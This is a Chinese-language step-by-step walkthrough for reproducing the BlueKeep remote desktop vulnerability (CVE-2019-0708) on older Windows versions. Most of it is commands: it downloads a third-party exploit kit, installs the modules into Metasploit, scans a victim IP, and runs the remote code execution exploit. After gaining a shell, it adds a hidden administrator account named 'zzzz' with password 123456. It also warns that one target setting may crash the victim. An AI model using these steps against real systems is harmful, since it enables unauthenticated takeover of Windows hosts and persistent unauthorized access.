CVE-2019-0708漏洞复现

Microsoft Windows 远程桌面服务远程执行代码漏洞(CVE-2019-0708)漏洞复现

详细描述

当未经身份验证的攻击者使用 RDP 连接到目标系统并发送经特殊设计的请求时，远程桌面服务（以前称为“终端服务”）中存在远程执行代码漏洞。此漏洞是预身份验证，无需用户交互。

漏洞影响版本

Windows 7
Windows server 2008 R2
Windows server 2008
Windows 2003
Windows xp

环境

攻击机：Kali-Linux-2020.1

#免安装版本
链接：https://pan.baidu.com/s/1oITUiekxB78u6tvRQ8ELXw  提取码：xayr

漏洞验证

1、更新msf

apt-get update 

image.png

apt-get install metasploit-framework

image.png

2、下载攻击套件

github：https://github.com/TinToSer/bluekeep-exploit
百度云盘：https://pan.baidu.com/s/1CR04VKTegL2Qzn-6Y8av8A  提取码：2506 

3、替换msf中相应的文件

cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

image.png

4、启动msf

msfconsole

image.png

5、使用reload_all加载文件

reload_all

image.png

6、搜索0708,可以看到文件成功加载

search 2019_0708

image.png

7、使用扫描模块（scanner）

use  auxiliary/scanner/rdp/cve_2019_0708_bluekeep
show options
set rhost 10.xx.xx.xx //这里的ip填写受害机地址
run

image.png
image.png

如发现上图红色箭头指向：The target is vulnerable，证明目标主机存在0708漏洞，可以利用
8、漏洞利用

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhost 10.xx.xx.xx //这里的ip填写受害机地址
set rport 3389  //受害机远程端口
set target 1    //可以先从1开始；选择3，受害机可能会蓝屏（谨慎！）
show options
run

image.png
image.png

9、漏洞利用成功，操控受害机

getuid  //获取目前进程的用户识别码
shell
#添加一个zzzz用户，密码为123456
net user zzzz 123456 /add  //net user 用户名 密码 /add
net localgroup administrators zzzz /add  //把zzzz用户加入管理员组去

image.png
image.png